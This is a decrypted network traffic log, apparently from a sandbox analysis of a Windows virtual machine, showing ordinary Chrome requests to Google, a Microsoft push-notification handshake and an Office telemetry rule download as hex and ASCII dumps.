2024-11-12 12:35:16 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 12:35:16 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 12:35:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 12:35:16 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-12 12:35:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49723	142.250.186.132	443	4236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 12:35:16 UTC	1042	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 12:35:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 12:35:16 UTC	336	IN	Data Raw: 32 38 61 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 28a0)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700337,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 Data Ascii: : Apache-2.0\n*/\nvar Ld;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u
2024-11-12 12:35:16 UTC	1378	IN	Data Raw: 33 64 5f 2e 58 64 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 59 64 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 Data Ascii: 3d_.Xd();return new _.Yd(b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else th
2024-11-12 12:35:16 UTC	426	IN	Data Raw: 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 Data Ascii: {var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));retur
2024-11-12 12:35:16 UTC	280	IN	Data Raw: 31 31 31 0d 0a 68 74 6d 6c 46 6f 72 5c 75 30 30 33 64 63 3a 6f 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 65 5b 64 5d 2c 63 29 3a 5f 2e 6a 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 6a 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6f 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 Data Ascii: 111htmlFor\u003dc:oe.hasOwnProperty(d)?a.setAttribute(oe[d],c):_.je(d,\"aria-\")\|\|_.je(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};oe\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",heigh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49722	142.250.186.132	443	4236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 12:35:16 UTC	957	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 12:35:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 12:35:16 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 12:35:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49729	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:17 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 34 33 2b 41 4c 78 63 50 64 30 71 7a 4c 50 45 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 62 38 39 33 64 31 38 38 31 31 63 61 36 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 43+ALxcPd0qzLPES.1Context: 58b893d18811ca6f
2024-11-12 12:35:17 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 12:35:17 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 34 33 2b 41 4c 78 63 50 64 30 71 7a 4c 50 45 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 62 38 39 33 64 31 38 38 31 31 63 61 36 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 66 61 45 58 74 6d 6c 36 59 73 6a 75 35 41 33 6b 48 47 6f 58 69 47 55 63 59 75 77 47 4c 4e 34 6c 56 75 74 39 70 4e 31 6f 63 52 6d 6f 67 45 58 48 76 30 43 54 44 49 7a 32 30 57 79 45 4c 63 41 67 53 57 68 59 79 71 30 4b 71 2f 35 57 54 4c 68 4f 30 6a 56 63 32 53 6d 45 6a 4a 31 48 6d 4c 30 36 45 6d 4d 32 6c 67 35 71 39 71 48 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 43+ALxcPd0qzLPES.2Context: 58b893d18811ca6f<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAefaEXtml6Ysju5A3kHGoXiGUcYuwGLN4lVut9pN1ocRmogEXHv0CTDIz20WyELcAgSWhYyq0Kq/5WTLhO0jVc2SmEjJ1HmL06EmM2lg5q9qH/
2024-11-12 12:35:17 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 34 33 2b 41 4c 78 63 50 64 30 71 7a 4c 50 45 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 38 62 38 39 33 64 31 38 38 31 31 63 61 36 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 43+ALxcPd0qzLPES.3Context: 58b893d18811ca6f<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-12 12:35:17 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-12 12:35:17 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 47 56 76 70 51 44 64 4f 45 57 66 6a 38 48 52 45 42 66 47 61 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AGVvpQDdOEWfj8HREBfGag.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 12:35:17 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 12:35:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:17 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T123517Z-16547b76f7fxdzxghC1DFWmf7n0000000fvg0000000001wz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 12:35:17 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" 